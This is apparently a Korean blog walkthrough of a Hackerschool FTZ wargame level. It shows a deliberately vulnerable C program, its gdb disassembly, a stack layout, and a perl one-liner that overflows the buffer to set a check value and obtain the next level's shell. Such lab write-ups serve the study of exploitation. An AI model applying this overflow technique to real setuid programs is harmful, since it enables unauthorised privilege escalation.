FTZ_level14
[level14@ftz level14]$ bash2 [level14@ftz level14]$ cat hint
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다. 버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이 최고의 효과를 가져다줍니다.
#include <stdio.h> #include <unistd.h>
main() { int crap; int check; char buf[20]; fgets(buf,45,stdin); if (check==0xdeadbeef) { setreuid(3095,3095); system("/bin/sh"); } } |
bash2부터 띄우고~~ 힌트를 보니 level14와 비슷합니다 ㅎㅎ
하지만 fgets 함수로 입력받는 최대 크기가 45바이트로 되어있네요
check 부분을 0xdeadbeef 로 채우면 셸을 획득할 수 있으므로 check의 주소를 알아내는게 중요하겠네요
분석 후 메모리 구조를 그려보겠습니다.
(gdb) disas main Dump of assembler code for function main: 0x08048490 <main+0>: push %ebp 0x08048491 <main+1>: mov %esp,%ebp 0x08048493 <main+3>: sub $0x38,%esp 0x08048496 <main+6>: sub $0x4,%esp 0x08048499 <main+9>: pushl 0x8049664 0x0804849f <main+15>: push $0x2d 0x080484a1 <main+17>: lea 0xffffffc8(%ebp),%eax 0x080484a4 <main+20>: push %eax 0x080484a5 <main+21>: call 0x8048360 <fgets> 0x080484aa <main+26>: add $0x10,%esp 0x080484ad <main+29>: cmpl $0xdeadbeef,0xfffffff0(%ebp) 0x080484b4 <main+36>: jne 0x80484db <main+75> …생략… |
main+3을 보니 0x38 ( 56 바이트 )크기 만큼 메모리를 확보하네요ㅎㅎ
main+29부분을 보면 check의 시작 주소가 ebp로부터 -16바이트인 곳이라는걸 확인할 수 있습니다.
RET [4] |
SFP [4] |
crap [4] + dummy [8] |
check [4] |
dummy [20] |
buf [20] |
가 되겠네요ㅎㅎ
단순히 buf로부터 40 바이트 뒤에 check를 0xdeadbeef로 채워주면 되므로
시작 주소는 찾지 않아도 되겠네요ㅎㅎ
공격을 해보겠습니다.
[level14@ftz level14]$ (perl -e 'print "A"x40,"\xef\xbe\xad\xde"'; cat) | ./attackme id uid=3095(level15) gid=3094(level14) groups=3094(level14) my-pass
Level15 Password is "guess what". |
'System Hacking > 해커스쿨 FTZ' 카테고리의 다른 글
해커스쿨 FTZ ( level16 -> level17 ) by ORANG (0) | 2014.10.20 |
---|---|
해커스쿨 FTZ ( level15 -> level16 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level13 -> level14 ) by ORANG (1) | 2014.10.20 |
해커스쿨 FTZ ( level12 -> level13 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level11 -> level12 ) by ORANG (0) | 2014.10.20 |